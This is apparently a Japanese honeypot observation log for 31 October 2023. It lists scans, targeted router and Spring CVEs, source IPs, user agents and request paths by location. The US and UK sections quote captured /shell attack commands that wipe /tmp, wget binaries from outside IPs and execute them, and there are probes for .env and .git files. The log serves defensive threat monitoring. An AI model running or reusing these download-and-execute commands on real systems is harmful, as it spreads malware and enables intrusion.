2023/10/31 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/10/31分です。

特徴

共通

Spring Bootの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

CensysInspectによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為

を確認しました。

Location:US

GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
TP-Link製品の脆弱性(CVE-2023-1389)を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
.jsへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  192.210.162.147/arm;
chmod 777 /tmp/arm;
sh /tmp/arm4

cd /tmp;
rm -rf *;
wget  79.110.62.110/jaws;
sh /tmp/jaws

Location:UK

CensysInspectによるスキャン行為
curlによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 45.12.253.180/jaws;
sh /tmp/jaws

Location:SG

Cisco Unified Operations Managerの脆弱性(CVE-2011-0966)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
FCKEditorの脆弱性を狙うアクセス
Joomla!の脆弱性を狙うアクセス
Nmap Scripting Engineによるスキャン行為
curlによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
.sqlへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
WordPressへのスキャン行為
configファイルへのスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

他

アクセス数推移

JP：総アクセス数：88 (前日比：-179)
US：総アクセス数：108 (前日比：-59)
UK：総アクセス数：104 (前日比：28)
SG：総アクセス数：2292 (前日比：2194)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.238.97.208	United States
2	34.151.215.234	United States
1	34.231.243.61	United States
7	35.88.196.251	United States
1	36.137.167.125	China
15	43.154.141.71	Singapore
1	45.56.108.128	United States
1	45.79.181.179	United States
1	45.79.181.251	United States
1	46.151.35.224	Romania
1	65.49.20.66	United States
3	65.49.20.69	United States
1	89.190.156.174	United States
2	104.192.0.50	United States
8	135.125.217.54	France
3	135.125.244.48	France
4	135.125.246.110	France
2	138.197.15.3	United States
4	152.32.180.98	Hong Kong
1	162.142.125.14	United States
1	162.243.137.14	United States
1	162.243.150.36	United States
1	167.94.146.55	United States
1	167.99.148.129	United States
1	170.64.220.116	United States
1	170.64.220.119	United States
1	172.104.11.34	United States
4	185.142.236.40	Seychelles
1	185.180.143.49	Portugal
4	185.254.196.173	Ukraine
3	185.254.196.186	Ukraine
1	192.155.90.118	United States
1	192.241.230.40	United States
1	193.35.18.187	Bulgaria
1	198.199.116.39	United States
1	198.199.118.93	United States
2	198.235.24.93	United States
2	198.235.24.158	United States

UserAgent一覧

件数	UserAgent
16	`-`
4	`Go-http-client/1.1`
1	`Mozilla/5.0 (Linux; Android 11; GM1910) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36`
15	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11`
26	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
6	`Mozilla/5.0 zgrab/0.x`
1	`Python-urllib/3.10`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
1		`\x16\x03\x01\x01\x17\x01`
10		`\x16\x03\x01`
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/.env.backup`	HTTP/1.1
1	GET	`/.env.dev`	HTTP/1.1
1	GET	`/.env.local`	HTTP/1.1
1	GET	`/.env.old`	HTTP/1.1
1	GET	`/.env.save`	HTTP/1.1
1	GET	`/.env.test`	HTTP/1.1
25	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`//.env`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/aaa9`	HTTP/1.1
1	GET	`/aab8`	HTTP/1.1
2	GET	`/actuator/health`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/cf_scripts/scripts/ajax/ckeditor/ckeditor.js`	HTTP/1.1
1	GET	`/cgi/conf.bin`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
2	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
2	GET	`/v3/time`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
15	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	15.204.5.23	United States
2	31.172.80.202	Germany
2	35.228.125.151	United States
1	45.79.172.21	United States
1	45.79.181.104	United States
2	45.79.181.179	United States
1	45.79.181.223	United States
1	45.95.147.204	Netherlands
1	51.158.37.186	France
6	54.36.115.221	France
10	54.37.79.75	France
30	57.129.23.166	France
1	64.62.197.139	United States
1	64.62.197.145	United States
1	64.62.197.151	United States
1	71.6.134.231	United States
9	80.82.77.202	United Kingdom
2	83.97.73.87	Germany
1	84.54.51.12	Bulgaria
1	89.190.156.174	United States
1	95.214.25.164	Bulgaria
1	101.36.107.148	Hong Kong
1	107.170.233.14	United States
1	107.170.235.23	United States
2	120.63.180.123	India
1	139.59.101.104	Singapore
2	147.182.154.58	United States
1	156.146.62.139	United Kingdom
1	157.0.133.66	China
1	159.203.224.41	United States
2	162.142.125.11	United States
2	162.142.125.226	United States
2	172.104.11.34	United States
1	172.104.11.46	United States
2	172.104.11.51	United States
1	172.105.128.11	United States
1	184.105.139.69	United States
1	185.150.26.253	Netherlands
1	185.180.143.72	Portugal
1	192.155.90.118	United States
1	192.241.199.82	United States
1	192.241.225.74	United States
1	192.241.228.39	United States
1	193.35.18.187	Bulgaria
1	194.165.16.73	Panama
2	205.210.31.35	United States

UserAgent一覧

件数	UserAgent
31	`-`
2	`Go-http-client/1.1`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; rv:108.0) Gecko/20100101 Firefox/108.0`
1	`Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
47	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0`
1	`Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
7	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
1	`curl/7.81.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_34.68.118.83_80\n`
1		`\x03`
21		`\x16\x03\x01`
1		`\x16\x03\x02\x01o\x01`
2	CONNECT	`google[.]com:443`	HTTP/1.1
49	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
3	GET	`/aaa9`	HTTP/1.1
1	GET	`/aab8`	HTTP/1.1
2	GET	`/aab9`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
2	GET	`/actuator/health`	HTTP/1.1
1	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/cf_scripts/scripts/ajax/ckeditor/ckeditor.js`	HTTP/1.1
1	GET	`/cgi/conf.bin`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 192.210.162.147/arm;chmod+777+/tmp/arm;sh+/tmp/arm4`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 79.110.62.110/jaws;sh+/tmp/jaws`
1	GET	`/webui/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	POST	`/cgi-bin/luci/;stok=/locale?form=country`	HTTP/1.1
2	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.238.97.208	United States
2	35.228.159.50	United States
1	36.69.191.125	Indonesia
2	45.33.80.243	United States
2	45.79.128.205	United States
1	45.79.181.104	United States
1	45.79.181.179	United States
8	54.36.115.221	France
13	54.37.79.75	France
1	64.62.197.101	United States
1	64.62.197.128	United States
1	64.62.197.134	United States
1	64.62.197.136	United States
2	68.183.193.242	United States
1	71.6.134.235	United States
4	71.6.165.200	United States
1	80.66.88.204	Russia
1	80.66.88.211	Russia
1	80.82.78.39	United Kingdom
1	84.54.51.12	Bulgaria
1	89.190.156.174	United States
8	94.156.102.112	Bulgaria
1	107.170.240.30	United States
1	107.170.249.19	United States
2	109.237.97.180	Russia
1	139.59.101.104	Singapore
2	162.142.125.215	United States
1	162.243.146.62	United States
2	167.248.133.50	United States
1	172.104.11.34	United States
1	172.104.11.51	United States
1	172.105.128.11	United States
22	178.79.139.171	United States
1	185.180.143.50	Portugal
1	185.180.143.138	Portugal
1	188.241.177.205	Romania
1	192.99.9.171	Canada
1	192.155.90.118	United States
2	192.155.90.220	United States
1	192.241.193.119	United States
1	192.241.207.87	United States
1	197.39.75.54	Egypt
2	198.235.24.84	United States
2	205.210.31.154	United States

UserAgent一覧

件数	UserAgent
36	`-`
1	`Go-http-client/1.1`
1	`Hello, world`
1	`Mozilla/5.0 (Linux; Android 12; Pixel 4a) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11`
22	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
6	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
16	`curl/7.54.0`
8	`python-requests/2.28.2`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_132.145.66.34_80\n`
2		`\x03`
1		`\x16\x03\x01\x01H\x01`
6		`\x16\x03\x01\x02`
20		`\x16\x03\x01`
1	CONNECT	`google[.]com:443`	HTTP/1.1
24	GET	`/.env`	HTTP/1.1
8	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000`	HTTP/1.1
1	GET	`/CSS/Miniweb.css`	HTTP/1.1
1	GET	`/Portal/Portal.mwsl`	HTTP/1.1
1	GET	`/Portal0000.htm`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/__Additional`	HTTP/1.1
1	GET	`/aaa9`	HTTP/1.1
1	GET	`/aab8`	HTTP/1.1
2	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin.jsa`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/base.cgi`	HTTP/1.1
2	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/cgi/conf.bin`	HTTP/1.1
1	GET	`/cluster/list.query`	HTTP/1.1
1	GET	`/docs/cplugError.html/`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.jsa`	HTTP/1.1
1	GET	`/indice.html`	HTTP/1.1
1	GET	`/main.html`	HTTP/1.1
1	GET	`/menu.pl`	HTTP/1.1
1	GET	`/nmaplowercheck1698671572`	HTTP/1.1
1	GET	`/pools/default/buckets`	HTTP/1.1
1	GET	`/pools`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]12[.]253[.]180/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/sitecore/shell/sitecore.version.xml`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/scripts/WPnBr.dll`	HTTP/1.1
2	PRI	`*`	HTTP/2.0